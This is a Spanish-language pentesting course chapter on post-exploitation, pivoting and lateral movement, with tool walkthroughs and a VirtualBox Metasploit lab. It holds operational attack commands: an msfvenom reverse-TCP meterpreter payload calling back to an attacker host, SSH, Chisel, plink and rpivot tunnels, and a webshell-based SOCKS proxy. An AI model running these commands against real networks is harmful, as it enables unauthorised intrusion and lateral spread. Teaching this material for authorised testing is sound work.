Bienvenidos a esta Guía: Post Explotación, Pivoting y Movimiento Lateral. Comparte este articulo y síguenos para recibir más capítulos, guías y cursos.

Esta guía es parte de un curso mucho más grande en donde te enseñamos a convertirte en hacker de 0 a 100. Desde los conocimientos más básicos hasta conseguir empleo.

Para saber más comente a continuación, respondemos todos y cada uno de los comentarios.

Índice

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

La escalada de privilegios y el pivoting son dos conceptos fundamentales en ciberseguridad, específicamente en el ámbito del hacking ético y el pentesting. Ambos están relacionados con las técnicas utilizadas después de comprometer un sistema, pero tienen objetivos y enfoques diferentes. A continuación, explico en detalle las diferencias entre ambos:


Escalada de Privilegios

La escalada de privilegios es el proceso mediante el cual un atacante, que ya tiene acceso limitado o no privilegiado a un sistema, eleva su nivel de permisos para obtener mayores privilegios y controlar más recursos.

Tipos:

  • Escalada Horizontal: Se obtiene acceso a otras cuentas o recursos con el mismo nivel de privilegio. Por ejemplo, comprometer la cuenta de otro usuario en el mismo sistema.
  • Escalada Vertical: Se eleva el nivel de privilegios, como pasar de un usuario normal a administrador o root.

Objetivo: Controlar recursos críticos del sistema o ejecutar acciones restringidas, como acceder a archivos protegidos, instalar programas o deshabilitar configuraciones de seguridad.

Ejemplo Práctico:

  1. Un atacante obtiene acceso a una cuenta de usuario básica.
  2. Utiliza una vulnerabilidad local, como una mala configuración del sistema o una falla en el kernel, para obtener privilegios administrativos.
  3. Con privilegios elevados, accede a datos sensibles o controla el sistema por completo.

Herramientas Comunes:

  • Mimikatz (Windows)
  • LinPEAS/LinEnum (Linux)
  • PowerShell Empire
  • Exploits de vulnerabilidades específicas (por ejemplo, CVEs conocidos).

Pivoting

El pivoting es una técnica que permite a un atacante usar un sistema comprometido como punto de apoyo para acceder a otros sistemas o recursos dentro de una red que, de otro modo, serían inaccesibles.

Tipos:

  • Port Forwarding: Redirigir el tráfico desde el sistema comprometido a otro recurso interno.
  • Proxy Tunneling: Usar el sistema comprometido como intermediario para explorar otros sistemas en la red.

Objetivo: Expandir el alcance del ataque dentro de una red, comprometiendo múltiples sistemas y recursos que están detrás de barreras de seguridad (como firewalls o segmentaciones de red).

Ejemplo Práctico:

  1. Un atacante compromete un servidor expuesto a Internet (DMZ).
  2. Usa ese servidor como «puente» para acceder a sistemas internos en una red privada.
  3. Desde allí, explora y compromete más sistemas en el entorno interno, como bases de datos o servidores de aplicaciones.

Herramientas Comunes:

  • Metasploit Framework (función de pivoting y tunneling).
  • Chisel (herramienta de port forwarding).
  • ProxyChains.
  • SSH Tunnels.

Diferencias Clave

AspectoEscalada de PrivilegiosPivoting
PropósitoObtener mayores privilegios en el sistema comprometido.Ampliar el alcance del ataque hacia otros sistemas.
FocoSe concentra en el sistema local.Se enfoca en toda la red y sus recursos.
Relación con el accesoMejora el nivel de control en el sistema comprometido.Permite usar el sistema comprometido como punto de entrada.
HerramientasExploits locales, scripts de enumeración y herramientas de escalada.Túneles, proxies y herramientas de red.

Relación entre Escalada de Privilegios y Pivoting

Ambos conceptos suelen utilizarse de manera complementaria durante un ataque avanzado. Por ejemplo:

  1. Escalada de privilegios: Un atacante compromete un servidor con acceso limitado y eleva sus permisos a root.
  2. Pivoting: Usando los privilegios elevados, configura un túnel SSH o una herramienta como Metasploit para acceder a otros sistemas en la red interna.

Pivoting

Para acceder a la infraestructura esencial de los clientes, los evaluadores de penetración se ven obligados con frecuencia a penetrar los límites de la red. Una situación típica es la irrupción en la red interna de una organización después de comprometer una máquina. El pivoteo o movimiento lateral es un conjunto de tácticas que se utilizan durante una prueba de penetración o una campaña del Red Team.

Consiste en utilizar una máquina bajo el control del atacante como un dispositivo de rebote para obtener acceso a la red. En otras palabras, es el acto de utilizar un sistema pirateado para obtener acceso a una red que normalmente es inaccesible. Debido a que los ataques se lanzarán desde una máquina confiable que es un componente esencial de la red de la empresa objetivo, se pasan por alto muchos sistemas de seguridad y monitoreo de la red.

El pivoteo es un método utilizado para obtener acceso a una red interna en una prueba de penetración. Para obtener privilegios de acceso a las máquinas más profundas dentro de la red de destino, inicialmente deberíamos tener algún tipo de puerta de enlace principal. Es uno de los aspectos más importantes y esenciales de las pruebas de penetración.

En palabras simples, al usar cualquier método genérico de explotación, si una de las partes logra obtener un punto de apoyo inicial en la red, puede atravesar la red interna utilizando el acceso inicial ya adquirido (este punto de apoyo/acceso inicial puede ser cualquier cosa, desde un «servidor público» hasta «explotar cualquier vulnerabilidad conocida»).

Tipos de pivoteo

Existen varias formas de pivoteo utilizadas en las pruebas de penetración, cualquiera sea el método de pivoteo utilizado, el objetivo final es permanecer desapercibido el mayor tiempo posible mientras se realiza el reconocimiento y se obtienen archivos e información vital.

A continuación, se enumeran algunas de las formas más típicas de pivoteo utilizadas en pruebas de penetración:

El pivoteo de VPN 

Permite al hacker crear una capa cifrada para acceder a la computadora comprometida y dirigir todo el tráfico del sistema a través de esa máquina objetivo. Por ejemplo, el hacker puede realizar un análisis de vulnerabilidades en la red infiltrada a través de la máquina comprometida, lo que le otorga al agresor acceso completo al sistema como si estuviera detrás del firewall.

Pivote de proxy

La mayoría de las veces, el pivoteo de proxy se refiere al acto de redirigir el tráfico a través de un objetivo que ha sido comprometido utilizando una carga intermedia en la computadora y lanzando ataques desde la PC. Este tipo de pivoteo está restringido a puertos TCP y UDP específicos que el intermediario admite.

Los métodos para lograr el pivoteo varían según los sistemas operativos que se utilicen en la red. Hay dos métodos principales englobados en el área de pentesting:

Técnicas de pivoteo

Tunelización/Proxy

Es una forma de transferir la conexión a través de una máquina comprometida para enrutar todo el tráfico deseado a la máquina de destino, por ejemplo, la tunelización SSH que puede usarse además para evadir el sistema de detección de intrusiones (IDS) o los firewalls.

La mayoría de las veces, el pivoteo de proxy se refiere al acto de redirigir el tráfico a través de un objetivo que ha sido comprometido utilizando una carga intermedia en la computadora y lanzando ataques desde la PC. Este tipo de pivoteo está restringido a puertos TCP y UDP específicos que el intermediario admite.

Reenvío de puertos

Básicamente, el reenvío de puertos permite que las computadoras a través de Internet se conecten a una computadora o servicio específico dentro de una red privada. Básicamente, se trata de hacer que su computadora sea accesible a través de Internet, incluso si está detrás de un enrutador. En un contexto dinámico: crear una conexión entre un puerto local y un solo puerto en un objetivo, a través de un host comprometido.

El atacante construye un túnel entre dos estaciones de trabajo utilizando puertos TCP/IP abiertos, enviando paquetes y tráfico de una a la otra. El reenvío de puertos puede adoptar distintas formas:

Reenvío de puerto local:

la computadora comprometida «escucha» datos y comandos de la estación de trabajo del atacante, lo que le otorga acceso a los servicios internos.

Reenvío de puertos remotos:

el atacante asigna puertos en su estación de trabajo a puertos locales en la máquina comprometida, lo que le permite acceder a servicios internos a través de una conexión SSH.

Reenvío de puertos dinámico:

el atacante utiliza el sistema comprometido como una tubería entre la máquina del atacante y los servicios internos, configurando un servidor proxy SOCKS para tunelizar el tráfico. 

Un proxy es bueno si queremos redirigir muchos tipos diferentes de tráfico a nuestra red de destino (por ejemplo, con un escaneo nmap o para acceder a múltiples puertos en múltiples máquinas diferentes).

El reenvío de puertos tiende a ser más rápido y confiable, pero solo nos permite acceder a un solo puerto (o un rango pequeño) en un dispositivo de destino.

5 formas de enumerar una red

Hay cinco formas posibles de enumerar una red a través de un host comprometido:

  • Utilizando material encontrado en la máquina. El archivo hosts o caché ARP
  • Usando herramientas preinstaladas
  • Uso de herramientas compiladas estáticamente
  • Utilizando técnicas de scripting
  • Uso de herramientas locales a través de un proxy

El uso de herramientas locales a través de un proxy es increíblemente lento, por lo que solo se debe utilizar como último recurso. Lo ideal es aprovechar las herramientas preinstaladas en el sistema. Es muy fácil encontrar binarios estáticos de las herramientas que solemos utilizar, o podemos escribir manualmente un script bash que recorra toda la red.

Antes que nada, es óptimo verificar si hay alguna información almacenada en la red, esto se puede hacer de muchas maneras:

  • arp -a Esto mostrará todas las direcciones IP almacenadas en caché con las que la red se ha comunicado y a través de ellas.
  • El mapeo estático se puede encontrar en el mismo archivo /etc/hosts de Linux o C:\Windows\System32\drivers\etc\hosts en Windows
  • /etc/resolv.conf También nos ayuda a identificar servidores DNS locales, que pueden estar mal configurados para permitir algo como ataques de transferencia de zona DNS.
  • En Windows, la forma más sencilla de comprobar los servidores DNS de una interfaz es con ipconfig /all
  • Linux tiene un comando equivalente como alternativa a la lectura del archivo resolv.conf:nmcli dev show 

Puede darse el caso en que no haya herramientas útiles disponibles en la máquina de enumeración, en ese caso es mejor utilizar copias estáticas de muchas herramientas como nmap, nano, etc.

Las copias estáticas de herramientas son herramientas cuyas bibliotecas y dependencias están todas empaquetadas dentro del archivo ejecutable, de modo que no hay motivos para utilizar bibliotecas dinámicas cuando se utilizan bibliotecas externas. 

Por último, el temido escaneo a través de un proxy. Este debería ser el último recurso, ya que el escaneo a través de algo como proxychains es muy lento y, a menudo, limitado (no se pueden escanear puertos UDP a través de un proxy TCP, por ejemplo).

La única excepción a esta regla es cuando se utiliza el motor de scripts de Nmap (NSE), ya que la biblioteca de scripts no viene con la versión compilada estáticamente de la herramienta. Por lo tanto, puede utilizar una copia estática de Nmap para rastrear la red y encontrar hosts con puertos abiertos, y luego utilizar su copia local de Nmap a través de un proxy específicamente contra los puertos encontrados

A veces es mejor ejecutar tus propios scripts, aquí hay un ejemplo de un script que hace ping en toda la red y encuentra todas las IP dentro de la red: 

for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done

El comando anterior genera una lista completa de números del 1 al 255 y la recorre en bucle. Para cada número, envía un paquete de ping ICMP a 192.168.1.x como trabajo en segundo plano (lo que significa que cada ping se ejecuta en paralelo para aumentar la velocidad), donde i es el número actual. En cada respuesta se busca «bytes de» para ver si el ping fue exitoso. Solo se muestran las respuestas exitosas.

Herramientas de pivoteo populares

Estas son solo algunas herramientas que los evaluadores de penetración utilizan para adaptarse a situaciones reales:

Sshuttle

Sshuttle es una VPN sencilla que utiliza un servidor proxy transparente basado en SSH. Envía el tráfico a través de SSH y no necesita acceso de administrador. Además, este programa proporciona tunelización DNS cuando la conectividad TCP está restringida de forma predeterminada.

El siguiente comando se puede utilizar para enrutar el tráfico a 10.10.10.0/24 a través del pivote:

 sshuttle -r daferra@192.168.2.105 10.10.10.0/24

Después de eso, sshuttle establecerá las reglas de iptables y usted podrá comunicarse ejecutando un comando como este: 

curl —head http://10.10.10.2

Dirección URL:  https://github.com/sshuttle/sshuttle

Túnel SSH

Si puede ponerse en contacto con el servidor SSH que está configurado en el servidor de destino, conéctese utilizando la opción -D. El programa iniciará un servidor Socks en el lado del cliente cuando esta opción esté presente.

ssh daferra@192.168.2.105 -D 1080

Por otro lado, el fag -L también permite la especificación de un solo puerto para reenviar. 

ssh daferra@192.168.2.105 -L 445:192.168.2.105:445

nmap -p 445 127.0.0.1

Rpivot

Rpivot es un proxy SOCKS que funciona como un proxy dinámico SSH y se basa en la utilidad pivot ( opción -D ). Pero funciona en la dirección opuesta.

Servidor: Estación de trabajo del auditor 

python server.py —proxy-port 1080 —server-port 9443 —server-IP 0.0.0.0

Cliente: Estación de trabajo de Target

python client.py —server-ip <ip> —server-port 9443

Todo el tráfico será enviado a través del cliente (la máquina deseada) por el servidor, que configurará un proxy SOCKS en el puerto 1080.

La siguiente sintaxis se puede utilizar para implementar este tipo de estrategia en redes de directorio activo:

python client.py –server-ip [server ip] –server-port 9443 –ntlm-proxy-ip [proxy ip] \ –ntlm-proxy-port 8080 –domain CORP –username daferra –password ! escuela.tecnologica

Dirección URL:  https://github.com/klsecservices/rpivot

Meterpreter

El marco meterpreter y la potente utilidad, cadenas proxy, también se pueden usar para reenvío y pivoteo de puertos.

Implemente lo siguiente para enrutar automáticamente: 

run autoroute -s 192.168.5.1/24

run autoroute -p

use auxiliary/server/socks4a

set SRVPORT 8080

run

proxy chains curl http://192.168.5.40

URL:  https://github.com/rapid7/meterpreter

Chisel

Chisel es una herramienta que envuelve una conexión TCP en un túnel HTTP y la protege con SSH. En mayor detalle, la comunicación es totalmente segura a través de SSH, permite la autenticación mutua y la reconexión automática, y tiene su servidor proxy privado SOCKS 5.

Reenvío de puerto local de Chisel

Máquina pivotante: 

$ chisel server -p 8080 –host 192.168.2.105 -v

Máquina del auditor:

$ chisel client -v http://192.168.2.105:8080 127.0.0.1:33333:10.42.42.2:80

$ curl –head http://127.0.0.1:33333

Reenvío de puerto remoto inverso

Máquina del auditor: 

$ chisel server -p 8888 –host 192.168.2.149 –reverse -v

Máquina pivotante: 

$ chisel client -v http://192.168.2.149:8888 R:127.0.0.1:44444:10.42.42.2:80

$ curl –head http://127.0.0.1:44444

URL:  https://github.com/jpillora/chisel

Servidores proxy web / Tunna y reGeorg

Tanto ReGeorg como Tunna utilizan un shell web para crear un proxy SOCKS local y tienen mucho en común. Este método funciona bien incluso en las circunstancias más difíciles, como cuando se desactivan todas las comunicaciones TCP, los servicios de enlace y el tráfico saliente.

Para construir el escenario se deben seguir los siguientes procedimientos:

  • Utilizando el método utilizado para acceder o comprometer el servidor, cargue el archivo de tunelización ( aspx | ashx | jsp | php ) al servidor web de destino.
  • Implementar reGeorgSocksProxy.py

python reGeorgSocksProxy.py -p 8080 -u http://server:8080/tunnel.jsp

Plink.exe es la versión de línea de comandos del cliente SSH PuTTY para Windows.

Conexión inversa

cmd.exe /c echo y | .\plink.exe -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -N

Pwncat

Pwncat es una plataforma que permite a los atacantes abusar de un sistema comprometido después de obtener acceso, incluidas herramientas para eludir cortafuegos y sistemas de detección de intrusos (IDS/IPS). La plataforma pwncat se basa en la herramienta de red Unix Netcat, que permite a los usuarios leer y escribir datos a través de una conexión de red.

El programa pwncat admite el reenvío de puertos tanto locales como remotos. A modo de ejemplo, el siguiente comando crea un reenvío de puertos locales desviando el puerto remoto 3306 al puerto local 5050: 

pwncat -L 0.0.0.0:5050 example.org 3306

Conclusión

  • Proxychains y FoxyProxy se utilizan para conectarse a un proxy creado con otra herramienta.
  • SSH se puede utilizar para establecer reenvío de puertos y servidores proxy.
  • Chisel puede realizar las mismas tareas que el reenvío y la tunelización de puertos SSH sin la necesidad de acceso SSH en el servidor.
  • Cuando tenemos acceso SSH a un destino, sshuttle proporciona una técnica más elegante para construir un proxy.
  • Metasploit también tiene excelentes funciones de pivotación del tráfico.

Recopilación de información adicional y movimiento lateral 

La recopilación de información adicional y el movimiento lateral son fases fundamentales en las pruebas de penetración, pero es esencial realizarlas de manera ética y legal, con el consentimiento explícito del propietario del sistema.

  • Enumeración de Red: Utilizar herramientas como Nmap o Nessus para escanear y enumerar activos en la red.
  • Reconocimiento Activo: Utilizar herramientas como DNSenum para recopilar información sobre el dominio y sus subdominios.
  • Búsqueda de Información en Fuentes Públicas: Investigar fuentes públicas, como redes sociales y sitios web, para recopilar información sobre empleados y la infraestructura.

Movimiento Lateral: 

Desplazarse lateralmente a través de la red, moviéndose de un sistema comprometido a otro, buscando oportunidades de escalada de privilegios.

  • Uso de Credenciales Robadas: Utilizar credenciales robadas para autenticarse en otros sistemas y ampliar el alcance del acceso.
  • Ataques de Pas-the-Ticket (PtT) o Pas-the-Hash (PtH): Utilizar tickets de Kerberos o hashes de contraseñas para autenticarse en otros sistemas sin conocer la contraseña real.
  • Ataques a Protocolos débiles: Explotar debilidades en protocolos como SMB para movimientos laterales.

En seguridad de redes, el movimiento lateral es el proceso mediante el cual los atacantes se propagan desde un punto de entrada al resto de la red. Existen muchos métodos para lograrlo.

Por ejemplo, un ataque podría comenzar con malware en la computadora de escritorio de un empleado. A partir de ahí, el atacante intenta moverse lateralmente para infectar otras computadoras de la red, infectar servidores internos, etc. hasta llegar a su objetivo final.

Los atacantes intentan moverse lateralmente sin ser detectados, pero incluso si se descubre una infección en el dispositivo inicial o si se detectan sus actividades, el atacante puede mantener su presencia dentro de la red si ha infectado una amplia gama de dispositivos.

Imaginemos un grupo de ladrones que entran en una casa a través de una ventana abierta y luego cada uno va a una habitación diferente de la casa. Incluso si se descubre a un solo ladrón en una habitación, los demás pueden seguir robando.

De manera similar, el movimiento lateral permite a un atacante entrar en las distintas «salas» de una red (servidores, puntos finales, acceso a aplicaciones), lo que hace que el ataque sea difícil de contener.

Si bien algunos aspectos pueden automatizarse, el movimiento lateral suele ser un proceso manual dirigido por un atacante o un grupo de atacantes. Este enfoque práctico permite a los atacantes adaptar sus métodos a la red en cuestión.

También les permite responder rápidamente a las contramedidas de seguridad aplicadas por los administradores de red y seguridad.

¿Cómo se produce el movimiento lateral?

El movimiento lateral comienza con un punto de entrada inicial a la red. Este punto de entrada puede ser una máquina infectada con malware que se conecta a la red, un conjunto de credenciales de usuario robadas (nombre de usuario y contraseña), una vulnerabilidad explotada a través del puerto abierto de un servidor o varios otros métodos de ataque.

Por lo general, el atacante establece una conexión entre el punto de entrada y su servidor de comando y control (C&C). Su servidor de C&C emite comandos a cualquier malware instalado y almacena los datos recopilados de los dispositivos infectados con malware o controlados de forma remota.

Una vez que el atacante se ha instalado en un dispositivo dentro de la red, realiza un reconocimiento. Averigua todo lo que puede sobre la red, incluido a qué tiene acceso el dispositivo comprometido y, si ha comprometido la cuenta de un usuario, qué privilegios tiene el usuario.

El siguiente paso para que el atacante comience a moverse lateralmente es un proceso llamado «escalada de privilegios».

Los ataques de movimiento lateral suelen seguir un patrón específico:

  • El atacante obtiene acceso inicial a un sistema a través de algún tipo de explotación, como phishing o malware (incluido malware sin archivos ).
  • El atacante luego utiliza ese sistema para moverse lateralmente dentro de la red, generalmente explotando vulnerabilidades o usando credenciales robadas.
  • El atacante luego utiliza el sistema comprometido para acceder a datos o sistemas confidenciales.

Escalada de privilegios

La escalada de privilegios se produce cuando un usuario (ya sea legítimo o ilegítimo) obtiene más privilegios de los que debería tener. La escalada de privilegios a veces ocurre accidentalmente en la gestión de identidades y accesos (IAM) cuando los privilegios de los usuarios no se rastrean ni se asignan correctamente.

Por el contrario, los atacantes explotan deliberadamente las fallas de los sistemas para escalar sus privilegios en una red.

Si ingresaron a una red a través de una vulnerabilidad o infección de malware, los atacantes pueden usar un keylogger (que rastrea las teclas que escriben los usuarios) para robar las credenciales de los usuarios.

O pueden haber ingresado a una red inicialmente a través del robo de credenciales en un ataque de phishing. Independientemente de cómo lo obtengan, los atacantes comienzan con un conjunto de credenciales y los privilegios asociados con esa cuenta de usuario.

Su objetivo es maximizar lo que pueden hacer con esa cuenta, luego se propagan a otras máquinas y usan herramientas de robo de credenciales para apoderarse de otras cuentas a medida que avanzan.

Para obtener el tipo de acceso necesario para causar el máximo daño o alcanzar su objetivo, el atacante normalmente necesita privilegios de administrador. Por lo tanto, se mueven lateralmente por la red hasta obtener credenciales de administrador.

Una vez que obtienen estas credenciales, esto les otorga esencialmente el control sobre toda la red.

Camuflaje y contramedidas durante el movimiento lateral

Durante todo el proceso de desplazamiento lateral, es probable que el atacante preste mucha atención a las contramedidas del equipo de seguridad de la organización.

Por ejemplo, si la organización descubre una infección de malware en un servidor y desconecta ese servidor del resto de la red para poner en cuarentena la infección, el atacante puede esperar un tiempo antes de realizar otras acciones para que su presencia no se detecte en otros dispositivos.

Los atacantes pueden instalar puertas traseras para asegurarse de poder volver a ingresar a la red si se detecta su presencia y se elimina con éxito de todos los puntos finales y servidores. (Una puerta trasera es una forma secreta de ingresar a un sistema que de otro modo sería seguro).

Los atacantes también intentan camuflarse con el tráfico normal de la red, ya que el tráfico inusual puede alertar a los administradores sobre su presencia. Camuflarse se hace más fácil a medida que comprometen otras cuentas de usuarios legítimos.

Pivoting en Metasploit

El pivoting: el proceso de acceder a redes a las que no tenemos acceso en circunstancias normales mediante el uso de computadoras comprometidas. Como punto de partida necesitaremos tener acceso a una máquina comprometida en la red objetivo, dependiendo de la configuración del equipo de la víctima, es posible que necesitemos o no tener root o privilegios de administrador.

En las primeras fases de escaneo de un pentesting debemos intentar recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa. Muchas organizaciones dividen sus departamentos en segmentos de red o redes locales virtuales (VLANs), donde se alojan determinadas máquinas, en muchos casos los equipos que forman parte de una red tienen configuradas varias interfaces ya sean físicas o lógicas hacia estas otras redes. En este tipo de circunstancias podemos aprovecharnos de esto para pivotar entre equipos de distintas redes y poder encontrar uno o varios equipos ya sean clientes o servidores con posibles vulnerabilidades explotables.

Para poner en práctica estas técnicas realizaremos un taller completo en el que mostraremos dos escenarios muy similares: lab 1 y lab 2, con el fin de que se vea el concepto de pivoting entre máquinas que formen parte de otras redes distintas en las que desde un principio no tendríamos una visibilidad directa hacia ellas desde la máquina en la que realizamos la auditoría del test de intrusión. El nivel de pivoting de estos escenarios será simple, de un solo salto, entre una máquina comprometida a otra. Dependiendo la topología de red de la organización se podría complicar más, con más saltos entre máquinas para ir descubriendo las posibles redes internas existentes, pero la finalidad, el concepto y las técnicas de pivoting seguirían siendo las mismas.

En el siguiente escenario se mostrará un entorno formado por tres máquinas:

  • Kali: 10.0.0.1/24. (Máquina A)
  • Ubuntu: 10.0.0.10/24 y 11.0.0.1/24. (Máquina B)
  • Linux (Apache http): 11.0.0.10/24. (Máquina C)

Desde VirtualBox la configuración de las redes es así:

Creamos una NAT desde herramientas.

Kali tiene un adaptador puente

Linux tiene una NAT

Ubuntu tiene:

Adaptador 1: Adaptador puente

Adaptador 2: Red Nat

La máquina Kali con Metasploit Framework será desde donde realizaremos la intrusión. Tiene dos interfaces de red, una en modo NAT (eth1 simplemente para tener salida a Internet) y eth0 con la IP asignada 10.0.0.1 que forma parte de la red 10.0.0.0/24. Esta máquina no tiene visibilidad directa con la segunda red 11.0.0.0/24.

La máquina Ubuntu tiene dos interfaces la cual tiene visibilidad con la red 10.0.0.0/24 y 11.0.0.0/24 será el pivoting y la segunda máquina Linux con una sola interface con la ip asignada 11.0.0.10 que tendrá visibilidad para la red 11.0.0.0.0/24, esta será una posible máquina vulnerable ya que dispondrá de un servicio web Apache a la que tendremos que intentar llegar desde la máquina Kali.

Establecer una sesión Meterpreter en la máquina Ubuntu (pivoting)

El funcionamiento de los tipos de pivoting dentro de las posibilidades que nos ofrece Metasploit Framework debemos partir de la obtención de una sesión Meterpreter en uno de los equipos de la red, en este caso será el Ubuntu en el cual tiene visibilidad con las dos redes dentro de este laboratorio, esta será la máquina que nos hará de pivoting a las redes que tenga configuradas. Para este escenario podemos generar con msfvenom un payload en el que su shellcode será un meterpreter linux y ejecutarlo en la máquina remota para obtener dicha sesión.

msfvenom -p Linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -b ‘\x00\x0a\x0d’ -o payload

-b ‘\x00\x0a\x0d’: (–bad-chars) Parámetro en el que se le puede especificar una lista de caracteres a evitar, de modo que no provoque un posible error en el momento de ejecutar el payload. En este caso estos opcodes serían válido

Route

Una vez tenemos una sesión establecida con la máquina Ubuntu, iniciamos el meterpreter y una forma de comprobar las redes asociadas es listar las interfaces de red con ipconfig para comprobar si existe alguna dirección IP asignada que forme parte de otro segmento de red distinto. También podríamos ejecutar una shell dentro de meterpreter y consultar la tabla de rutas con el comando route print. Como vemos se muestra la red 10.0.0.0/24 en la interface 2 y la 11.0.0.0/24 en la interface 3.

Route es un comando que nos permitirá encaminar tráfico de red dentro de Metasploit, diciéndole que desde cualquier módulo todo el tráfico que queramos llevar hacia otra red lo haga a través del identificador de una sesión establecida que tengamos activa, por ejemplo con un Meterpreter.

Salimos de la sesión de meterpreter y la dejamos en segundo plano saliendo con el comando background. Fuera de meterpreter y sabiendo que la máquina Ubuntu tiene dos redes configuradas, hacemos uso del comando route para añadir la visibilidad de esta nueva red a nivel de Metasploit.

route add <network> <netmask> <session_id>
route add 11.0.0.0 255.255.255.0 1

Con esto le estaremos diciendo que todo el tráfico que se produzca dentro de Metasploit con destino a la red 11.0.0.0/24 lo enrute a través de la sesión con ID 1 donde está el meterpreter. Con route print dentro de Metasploit podemos ver las rutas asignadas y con route -h veremos la ayuda completa.

De esta forma ya podremos pivotar a través de la máquina Ubuntu a la red 11.0.0.0/24 realizando un escaneo completo hacia esa red.

En el siguiente ejemplo y para ahorrar tiempo en esta demo delimitaremos un pool de direcciones IP de la red 11.0.0.0/24 comprobando únicamente el puerto 80. Vemos que encontramos una dirección 10.0.0.10 que tiene el puerto 80 abierto.

En un descubrimiento habitual podríamos usar el módulo «auxiliary/scanner/discovery/arp_sweep» para encontrar hosts activos en la red local a través de solicitudes arp y también «auxiliary/scanner/portscan/ack» para comprobar que puertos se están filtrado.

Con lo anterior ya se demostró que podemos realizar un sondeo y tener acceso a redes pivotando a través de la máquina Ubuntu donde tenemos la sesión meterpreter hacia una máquina Linux con la ip 11.0.0.10.

Ya hemos descubierto que el puerto 80 está abierto por lo que es probable que se trate de un servicio web, podemos ahora comprobar la versión de ese servicio http a través del módulo «auxiliary/scanner/http/http_version«. A partir de ahí podríamos buscar en Internet si existe alguna vulnerabilidad conocida y explotable para versión y continuar el test de intrusión.

Autoroute (Módulo post)

Otra forma de establecer rutas es hacerlo de forma automática. Una vez que tenemos una sesión establecida podemos hacer uso del módulo «post/multi/manage/autoroute«, establecemos el ID de sesión y lo ejecutamos.

Esto hará un barrido en el equipo donde tenemos establecida la sesión para intentar reconocer otras redes asociadas a esa máquina y las agregará automáticamente a nuestra tabla de rutas de Metasploit. Es lo mismo que lo comentado anteriormente pero de forma automática sin necesidad de consultar manualmente a través de meterpreter las tablas de rutas asociadas a la máquina comprometida.

portfwd (Port Forwarding)

portfwd realiza un reenvío de puertos -port forwarding- entre máquinas. Podemos canalizar todo el tráfico que enviamos a un puerto local a la escucha de nuestra máquina A a un puerto e IP de una máquina C en la que no tenemos a priori conectividad, configurando esta IP y puerto de reenvío en una máquina B en la que si tenemos una conectividad directa.

Una ventaja de esto es que todas las peticiones que hagamos al puerto local de la máquina A esta las reenviará a la máquina C pasando por la máquina B, si analizamos el tráfico desde la máquina C veremos que esas peticiones llegan desde la máquina B y no desde la máquina A que inicialmente origina las peticiones. Como esto en un primer momento puede resultar un poco confuso mostraremos un ejemplo.

Basándonos en el mismo escenario visito hasta ahora lab 1. Desde la máquina Kali (máquina A) nos intentamos conectar a la máquina Linux al puerto 22 (máquina C), que sabemos que está abierto, y vemos que no podemos conectarnos directamente ya que desde la máquina Kali no tenemos visibilidad hacia la red 11.0.0.0/24.

Sin embargo desde la sesión 1 donde tenemos nuestro meterpreter de la máquina Ubuntu (máquina B) esta si tiene visibilidad con la red 11.0.0.0/24 donde está máquina Linux (máquina C). Desde el meterpreter de la sesión 1 agregamos una nueva regla de reenvío de puertos.

portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd add -l 9500 -p 22 -r 11.0.0.10

Con esto indicamos que todas las peticiones que hagamos al puerto local de la máquina A Kali sen reenviadas al puerto 22 de la ip 11.0.0.10 que será la máquina C Linux. Siendo la máquina B Ubuntu quien haga el reenvío de puertos entre la máquina A y C. De ahí que todo el tráfico que llegue a la máquina C Linux es como si lo realizase la máquina B Ubuntu cuando en realidad lo envía la máquina A Kali.

Comprobando nuevamente el intento de conexión vemos como ahora desde Metasploit Framework como desde la propia máquina local Kali podemos llegar a la máquina C Linux estableciendo una conexión localhost hacia le puerto local a la escucha.

Si listamos los puertos a la escucha de la máquina local vemos como fuera del MSF tenemos el puerto 9500 a la escucha. Esto puede ser útil en los casos en los que necesitemos utilizar servicios web u otras herramientas fuera de Metasploit para poder escanear, vulnerar o realizar acciones hacia una máquina remota en la que no tendríamos un acceso directo pero si conocemos su IP y puerto y tenemos una máquina que usaremos de pivoting en medio de la comunicación para realizar los reenvíos de puertos. Tener en cuenta que podemos agregar más de una regla port forwarding.

La forma de usar módulos dentro de Metasploit con reglas configuradas de reenvío de puertos es solamente por medio de conexiones locales (ip y puerto local). En el siguiente ejemplo se muestran dos reglas port forwarding establecidas en la sesión 1 (máquina B Ubuntu), la segunda regla indica que las peticiones que se realicen hacia el puerto 9000 desde cualquier interface de la máquina Kali A se reenvíen a través de la sesión 2 (máquina B Ubuntu) hacia la IP destino 11.0.0.10 puerto 80 que será la máquina C Linux.

RHOST: será la dirección local de la máquina A Kali, ip 127.0.0.1 (y no la ip 11.0.0.10 de la máquina destino C Linux).

PORTS: será el puerto local a la escucha en la máquina A Kali, puerto 9000 (y no el puerto 80 de la máquina destino C Linux).

Vemos como nos indica que el puerto 9000 de la ip 127.0.0.1 está Open. Esto significa que la regla de reenvío funcionó y que realmente esa IP/Puerto local corresponderían a la IP/Puerto destino configurado en la regla del portfwd. Fuera de Metasploit podemos consultar los puertos a la escucha con netstat y comprobar que tanto el puerto 9500, visto en el ejemplo anterior, como el puerto 9000 están a la escucha por un proceso ruby que sería Metasploit.

¿Diferencias entre route y portfwd en Metasploit?

Route y Autoroute

  • Es necesario tener una sesión establecida.
  • Agrega direcciones de red completas indicando su notación CIDR.
  • Las tablas de rutas solo se agregan a nivel funcional de Metasploit Framework.
  • Dentro de Metasploit se pueden usar todos los módulos de forma directa hacia las redes agregadas.
  • Con el módulo post Autorute se pueden descubrir y agregar rutas de red de forma automática de una sesión previamente establecida.

Portfwd

  • Es necesario tener una sesión establecida.
  • No pueden agregar direcciones completas de red, solo se crean reglas de port forwarding hacía una IP/Puerto específico.
  • Se pueden usar otras herramientas fuera de Metasploit a nivel local de la propia máquina Kali IP/Puerto locales estarán a la escucha.
  • Dentro de Metasploit se pueden usar módulos hacia la IP/Puerto de la regla creada, la IP/Puerto será interpretado de forma local desde la propia máquina Kali.

¿Qué tipos de ataques utilizan el movimiento lateral?

Muchas categorías de ataques se basan en el movimiento lateral para alcanzar la mayor cantidad posible de dispositivos o para viajar por toda la red hasta alcanzar un objetivo específico. Algunos de estos tipos de ataques incluyen:

  • Ransomware: los atacantes de ransomware intentan infectar tantos dispositivos como sea posible para asegurarse de tener la máxima ventaja para exigir el pago de un rescate.
